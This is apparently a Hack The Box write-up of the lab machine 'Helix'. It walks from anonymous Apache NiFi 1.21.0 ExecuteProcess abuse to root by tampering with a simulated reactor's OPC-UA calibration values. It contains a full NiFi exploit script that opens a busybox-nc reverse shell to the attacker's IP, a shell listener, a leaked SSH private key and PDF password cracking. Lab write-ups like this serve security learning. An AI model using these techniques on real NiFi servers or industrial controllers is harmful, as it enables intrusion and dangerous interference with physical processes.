Hackthebox: Helix

Foued SAIDI Lv5

Overview

Helix is a medium-difficulty Linux machine from Hack The Box built around an ICS/OPC-UA scenario with the following chain: recon two open ports (22, 80) -> follow the redirect to helix.htb -> vhost brute forcing reveals flow.helix.htb running Apache NiFi 1.21.0 -> abuse anonymous write on the root process-group to drop an ExecuteProcess processor -> reverse shell as the nifi service account -> loot a leftover SSH key from the NiFi support-bundles directory -> SSH in as operator and grab the user flag -> discover a NOPASSWD sudo entry on helix-maint-console plus a password-protected safety guide PDF -> crack the PDF with john and learn the reactor’s “maintenance operating window” mechanic -> talk to the loopback-only OPC-UA server with asyncua, ramp CalibrationOffset to force temperature above the maintenance threshold, and hold it hot in a background task while calling the sudo helper in the same process -> root.

Helix-info-card
Helix-info-card

Reconnaissance

We start with a full-port TCP scan to see what the box exposes:

1
nmap -p- --min-rate 5000 -T4 10.129.28.235 -oN nmap-fast.txt
1
2
3
4
5
PORT   STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds

Only two ports, so we run a service/version scan against them:

1
nmap -sV -sC -p 22,80 10.129.28.235 -oN nmap-sv.txt
1
2
3
4
5
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/

The redirect on port 80 already hands us the canonical hostname:

1
curl -sI http://10.129.28.235/
1
2
3
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Location: http://helix.htb/

We add helix.htb to our /etc/hosts and take a quick look at what’s being served:

1
2
echo "10.129.28.235 helix.htb" | sudo tee -a /etc/hosts
curl -s http://helix.htb/ | grep -iE 'title|<h1|product|powered|generator' | head
1
2
<title>Helix Integration Platform</title>
<h1 class="text-3xl font-extrabold">Helix Integration Platform</h1>

This is just a marketing landing page — there’s nothing to attack here. The real application is almost certainly on a sibling vhost.

Vhost brute forcing

A non-existent host on helix.htb returns a 301 with a 178-byte body, so anything that isn’t 301/178 is a real backend. We spray a short list of likely subdomains via the Host header:

1
2
3
4
5
6
7
8
9
10
cat > subs.txt <<'EOF'
api admin dev test staging app flow flows nifi
data automation integration auth sso git portal
www mail backend
EOF
for s in $(cat subs.txt); do
out=$(curl -s -H "Host: ${s}.helix.htb" http://10.129.28.235/ \
-o /dev/null -w "%{http_code} %{size_download}")
echo "${s}.helix.htb -> ${out}"
done
1
2
3
4
5
6
7
8
9
10
api.helix.htb        -> 301 178
admin.helix.htb -> 301 178
dev.helix.htb -> 301 178
test.helix.htb -> 301 178
staging.helix.htb -> 301 178
app.helix.htb -> 301 178
flow.helix.htb -> 200 1683 ← only outlier
flows.helix.htb -> 301 178
nifi.helix.htb -> 301 178
...

flow.helix.htb is the only outlier. We add it to /etc/hosts and confirm it responds:

1
2
echo "10.129.28.235 flow.helix.htb" | sudo tee -a /etc/hosts
curl -sI http://flow.helix.htb/
1
2
3
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html

Checking the title and the /nifi/ path tells us exactly what this is:

1
2
curl -s http://flow.helix.htb/ | grep -iE 'title|generator' | head
curl -sI http://flow.helix.htb/nifi/
1
2
3
4
<title>NiFi</title>

HTTP/1.1 302 Found
Location: http://flow.helix.htb/nifi/

It’s Apache NiFi. We pin the version through its unauthenticated about endpoint:

1
curl -s http://flow.helix.htb/nifi-api/flow/about
1
2
3
4
5
6
7
8
9
{
"about": {
"title": "NiFi",
"version": "1.21.0",
"uri": "http://flow.helix.htb/nifi-api/flow/about",
"buildTag": "nifi-1.21.0-RC2",
"buildTimestamp": "04/03/2023 11:48:21 UTC"
}
}

Apache NiFi 1.21.0 has two well-known unauthenticated paths to RCE:

  • CVE-2023-34468 — H2/JDBC RCE through the DBCPConnectionPool controller service.
  • Anonymous abuse of the ExecuteProcess processor — if anonymous users can create processors in the root process-group (which is the default on a stock 1.x install), they can spawn arbitrary shell commands.

The ExecuteProcess path is shorter — no controller-service plumbing — so we’ll take that one.

Foothold — Apache NiFi RCE → shell as nifi

Confirm anonymous write on the root process-group

First we grab the root process-group id, which we’ll need for every subsequent API call:

1
2
curl -s "http://flow.helix.htb/nifi-api/process-groups/root" \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["id"])'
1
f203bc07-019b-1000-516b-eaedd48609d1

The endpoint returns the root PG id without an auth challenge — anonymous reads are on, and on this build anonymous writes are too (the default users.xml policy).

Stand up a multi-command reverse-shell listener

Plain nc works once but loses history and arrow keys. This little Python listener accepts the callback, exposes a FIFO for input and a logfile for output, so we can pipe commands into the shell without re-exploiting between each one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# /tmp/helix/runner.py
import socket, threading, os, sys, time
LISTEN, CMDFIFO, LOG = ("0.0.0.0", 9001), "/tmp/helix/cmd.fifo", "/tmp/helix/shell.log"
if not os.path.exists(CMDFIFO): os.mkfifo(CMDFIFO)
open(LOG, "w").close()
srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(LISTEN); srv.listen(1)
conn, _ = srv.accept()
def r():
f = open(LOG, "ab", buffering=0)
while True:
d = conn.recv(65536)
if not d: break
f.write(d); sys.stdout.buffer.write(d); sys.stdout.flush()
def w():
while True:
with open(CMDFIFO) as f:
for line in f: conn.sendall(line.encode())
threading.Thread(target=r, daemon=True).start()
threading.Thread(target=w, daemon=True).start()
while True: time.sleep(60)
1
2
mkdir -p /tmp/helix
nohup python3 /tmp/helix/runner.py >/tmp/helix/runner.out 2>&1 &

Drop an ExecuteProcess processor that calls back

The non-obvious bit is the Argument Delimiter property. NiFi’s default delimiter is whitespace, which corrupts bash -c "<multi-word command>" because every space becomes a token boundary. Setting it to | lets us ship -c|<full command> as exactly two clean tokens. The target ships busybox, so busybox nc -e /bin/bash works (the host nc is the OpenBSD variant without -e).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# /tmp/helix/exploit_nifi.py
import requests
TARGET, IP, PORT = "http://flow.helix.htb/nifi-api", "10.10.17.248", 9001
REV = f"busybox nc {IP} {PORT} -e /bin/bash"

s = requests.Session()
root = s.get(f"{TARGET}/process-groups/root").json()["id"]

create = s.post(f"{TARGET}/process-groups/{root}/processors", json={
"revision": {"version": 0},
"component": {
"name": "PwnExec",
"type": "org.apache.nifi.processors.standard.ExecuteProcess",
"config": {"properties": {
"Command": "/bin/bash",
"Command Arguments": f"-c|{REV}",
"Argument Delimiter": "|",
}},
},
}).json()
proc_id, ver = create["id"], create["revision"]["version"]

# auto-terminate the 'success' relationship or the processor will refuse to start
cfg = s.put(f"{TARGET}/processors/{proc_id}", json={
"revision": {"version": ver},
"component": {"id": proc_id,
"config": {"autoTerminatedRelationships": ["success"]}},
}).json()
ver = cfg["revision"]["version"]

# flip to RUNNING — this is what actually fires the command
s.put(f"{TARGET}/processors/{proc_id}", json={
"revision": {"version": ver},
"component": {"id": proc_id, "state": "RUNNING"},
})
print("[+] processor running")
1
python3 /tmp/helix/exploit_nifi.py
1
[+] processor running

And in the listener we catch the callback:

1
[+] connected from ('10.129.28.235', 49664)

Where we landed

We fire a couple of commands through the FIFO to see who we are:

1
echo 'id; hostname; pwd' > /tmp/helix/cmd.fifo
1
2
3
uid=998(nifi) gid=998(nifi)
helix
/opt/nifi-1.21.0

nifi is a service account, not a user with a home directory. The flag lives one pivot away.

Pivot to operator

Find a cached SSH key

NiFi support-bundles are full of secrets in real-world deployments — somebody on this team left one in place. We list the directory:

1
echo 'ls /opt/nifi-1.21.0/support-bundles/' > /tmp/helix/cmd.fifo
1
operator_id_ed25519.bak

That’s a backup private key. We read it out:

1
echo 'cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak' > /tmp/helix/cmd.fifo
1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

The key’s comment field is root@management, but on this host it actually maps to the operator user — the username baked into a backup key is meaningless; what matters is which authorized_keys file it appears in.

SSH in and grab user.txt

We write the key out locally, lock down its permissions, and log in:

1
2
3
4
5
6
7
8
9
10
11
cat > /tmp/helix/operator_id_ed25519 <<'KEY'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
KEY
chmod 600 /tmp/helix/operator_id_ed25519
ssh -i /tmp/helix/operator_id_ed25519 [email protected] 'id; cat ~/user.txt'
1
2
uid=1001(operator) gid=1001(operator) groups=1001(operator)
e0cd354625ab4f0aab3d9182be414ca7

And there’s the user flag.

Loot operator’s home — and check sudo

What’s in ~operator

We list the home directory and check our sudo rights in one shot:

1
ssh -i /tmp/helix/operator_id_ed25519 [email protected] 'ls -la ~; sudo -l'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
total 36
drwxr-x--- 4 operator operator 4096 Apr 12 2026 .
drwxr-xr-x 3 root root 4096 Apr 11 2026 ..
-rw-r----- 1 root operator 33 Apr 12 2026 user.txt
-rw-r--r-- 1 operator operator 220 Apr 11 2026 .bash_logout
-rw-r--r-- 1 operator operator 3771 Apr 11 2026 .bashrc
-rw-r----- 1 operator operator 84K Apr 12 2026 control systems diagram.png
-rw-r----- 1 operator operator 240K Apr 12 2026 Operator Control & Safety Guide.pdf
-rw-r--r-- 1 operator operator 807 Apr 11 2026 .profile
drwx------ 2 operator operator 4096 Apr 12 2026 .ssh

Matching Defaults entries for operator on helix:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console

Two interesting files (a diagram and a safety guide PDF), and a NOPASSWD sudo entry on a binary we’ve never seen before.

Exfil the diagram and the PDF

We pull both files down to our box:

1
2
3
4
5
6
scp -i /tmp/helix/operator_id_ed25519 \
"[email protected]:/home/operator/control\ systems\ diagram.png" \
/tmp/helix/control_systems_diagram.png
scp -i /tmp/helix/operator_id_ed25519 \
"[email protected]:/home/operator/Operator\ Control\ \&\ Safety\ Guide.pdf" \
/tmp/helix/safety_guide.pdf

The PNG renders an OPC-UA architecture: an Operator Station and an OPC-UA Server at opc.tcp://127.0.0.1:4840/helix/, exposing Reactor (Temperature, Pressure, CalibrationOffset), Control (Mode, TestOverride, ResetTrip — all writable), and Safety (TripActive, RodsInserted, EmergencyCooling — read-only).

The PDF is password-protected — crack it

The safety guide won’t open without a password, so we extract its hash and throw rockyou at it with john:

1
2
3
pdf2john /tmp/helix/safety_guide.pdf > /tmp/helix/guide.hash
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/helix/guide.hash
john --show /tmp/helix/guide.hash
1
2
3
4
5
6
7
8
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
operator1 (safety_guide.pdf)
1g 0:00:00:00 DONE (2026-05-12 18:24) 12.50g/s 6400p/s 6400c/s 6400C/s ...

safety_guide.pdf:operator1

1 password hash cracked, 1 left

With the password operator1 we decrypt the document and dump its text:

1
2
3
from pypdf import PdfReader
r = PdfReader("/tmp/helix/safety_guide.pdf"); r.decrypt("operator1")
print("\n".join(p.extract_text() for p in r.pages))

The key passages from the decrypted guide are:

  • “Maintenance Operating Window opens when Temperature ≥ ~295 °C OR Pressure ≥ ~73 bar, both still below trip thresholds (305 °C / 75 bar), and no trip is active.”
  • “Maintenance mode requires Mode = MAINTENANCE and TestOverride = True; only then are CalibrationOffset ramps honoured.”
  • “Aggressive offset ramps latch a trip; ramp slowly.”

So the privesc path is clear: force the safety controller into the Maintenance Operating Window over OPC-UA, then immediately call the sudo helper while the window is still open.

Root — open the maintenance window over OPC-UA, then sudo helix-maint-console

Enumerate the OPC-UA tree

asyncua is already installed on the box (it’s how the operator station talks to the controller). The OPC-UA listener binds to 127.0.0.1 only — invisible from the network, but reachable from our SSH session. We walk the Plant subtree to learn the node ids and current values:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# /tmp/enum_opcua.py — walk the Plant subtree
import asyncio
from asyncua import Client
async def walk(node, d=0):
name = (await node.read_browse_name()).Name
try:
v = await node.read_value()
print(f"{' '*d}{node.nodeid.to_string():<14} {name:<22} = {v!r}")
except:
print(f"{' '*d}{node.nodeid.to_string():<14} {name}")
for c in await node.get_children(): await walk(c, d+1)
async def main():
async with Client(url="opc.tcp://127.0.0.1:4840/helix/") as c:
await walk(c.get_node("ns=2;i=1"))
asyncio.run(main())
1
2
scp -i /tmp/helix/operator_id_ed25519 /tmp/enum_opcua.py [email protected]:/tmp/
ssh -i /tmp/helix/operator_id_ed25519 [email protected] 'python3 /tmp/enum_opcua.py'
1
2
3
4
5
6
7
8
9
10
11
ns=2;i=1   Plant
ns=2;i=2 Reactor
ns=2;i=4 Temperature = 281.42
ns=2;i=5 Pressure = 68.85
ns=2;i=6 CalibrationOffset = 0.0
ns=2;i=7 Safety
ns=2;i=10 TripActive = False
ns=2;i=11 Control
ns=2;i=12 Mode = 'NORMAL'
ns=2;i=13 TestOverride = False
ns=2;i=14 ResetTrip = False

The initial state has temperature too low (281 °C, threshold is 295), pressure too low (68 bar, threshold is 73), mode NORMAL, and no trip. We only need to push temperature over 295 °C, which the guide tells us we can do by ramping CalibrationOffset while in maintenance mode.

Single-process “open the window + run the sudo helper” script

The naive approach is to use two SSH sessions — one to ramp the offset and hold it, one to call sudo helix-maint-console. It doesn’t work: by the time the second SSH establishes, the asyncua session in the first has dropped, the PLC re-zeroes CalibrationOffset, and the safety controller closes the window before the sudo helper checks it. The only stable approach is to do everything from a single Python process on the target — ramp the offset, hold the temperature in a background task, and subprocess.run the helper while the holder keeps the reactor hot:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# /tmp/full_pwn.py
import asyncio, subprocess
from asyncua import Client, ua

async def keep_hot(cal, temp, press, trip, evt):
offset = 12.0
while not evt.is_set():
if await trip.read_value():
return
if await temp.read_value() < 296 and await press.read_value() < 73:
offset = min(offset + 0.5, 25.0)
await cal.write_value(ua.Variant(offset, ua.VariantType.Double))
await asyncio.sleep(1.0)

async def main():
async with Client(url="opc.tcp://127.0.0.1:4840/helix/") as c:
mode = c.get_node("ns=2;i=12"); test = c.get_node("ns=2;i=13")
cal = c.get_node("ns=2;i=6")
temp = c.get_node("ns=2;i=4"); press = c.get_node("ns=2;i=5")
trip = c.get_node("ns=2;i=10")

await mode.write_value(ua.Variant("MAINTENANCE", ua.VariantType.String))
await test.write_value(ua.Variant(True, ua.VariantType.Boolean))

# ramp slowly so the safety controller doesn't latch a trip
for i in range(1, 13):
await cal.write_value(ua.Variant(float(i), ua.VariantType.Double))
await asyncio.sleep(1.0)
t = await temp.read_value()
print(f" off={i:<2} T={t:.2f}")
if t >= 295: break

evt = asyncio.Event()
keeper = asyncio.create_task(keep_hot(cal, temp, press, trip, evt))

cmd = "id; cat /root/root.txt; exit\n"
r = subprocess.run(["sudo", "-n", "/usr/local/sbin/helix-maint-console"],
input=cmd, capture_output=True, text=True, timeout=60)
print("=== STDOUT ===\n" + r.stdout)
print("=== STDERR ===\n" + r.stderr)
evt.set(); await keeper

asyncio.run(main())
1
2
scp -i /tmp/helix/operator_id_ed25519 /tmp/full_pwn.py [email protected]:/tmp/
ssh -i /tmp/helix/operator_id_ed25519 [email protected] 'python3 /tmp/full_pwn.py'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  off=1   T=283.10
off=2 T=285.22
off=3 T=287.41
off=4 T=289.55
off=5 T=291.66
off=6 T=293.07
off=7 T=295.23
=== STDOUT ===
[*] /usr/local/sbin/helix-maint-console
[*] Checking maintenance window … OK (53s remaining)
[+] Privileged maintenance access granted
[!] Window expires in 60 seconds
uid=0(root) gid=0(root) groups=0(root)
helix
cf65123e46eaea3d48214cc658ff1a73

=== STDERR ===

/usr/local/sbin/helix-maint-console reads /opt/helix/state/maintenance_window — a 0750-protected unix-timestamp file that the helix-safety service writes once the safety conditions hold — and while that timestamp is still in the future it spawns bash -p -i under a fresh systemd scope. The scope inherits root because the helper itself was launched via sudo. Feeding commands into the helper’s stdin gets us root.txt without ever needing a TTY.

Cleanup

Finally we tidy up after ourselves — remove the scripts we dropped and locate the NiFi processor we created so it can be stopped and deleted:

1
2
3
4
5
6
7
ssh -i /tmp/helix/operator_id_ed25519 [email protected] 'rm -f /tmp/full_pwn.py /tmp/enum_opcua.py'
# stop the NiFi processor I created (it's harmless once stopped but visible in the audit log)
curl -s "http://flow.helix.htb/nifi-api/process-groups/$(curl -s http://flow.helix.htb/nifi-api/process-groups/root | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')/processors" \
| python3 -c 'import sys,json
for p in json.load(sys.stdin).get("processors",[]):
if p["component"]["name"]=="PwnExec":
print(p["id"], p["revision"]["version"])'

For audit cleanliness you can PUT the processor back to STOPPED and then DELETE it with the right revision.

And that was Helix — from an anonymous NiFi processor all the way to bending a simulated reactor’s safety window to pop a root shell. Hope you enjoyed!
-0xkujen

  • Title: Hackthebox: Helix
  • Author: Foued SAIDI
  • Created at : 2026-08-08 14:20:00
  • Updated at : 2026-08-08 10:52:53
  • Link: https://kujen5.github.io/2026/08/08/Hackthebox-Helix/
  • License: This work is licensed under CC BY-NC-SA 4.0.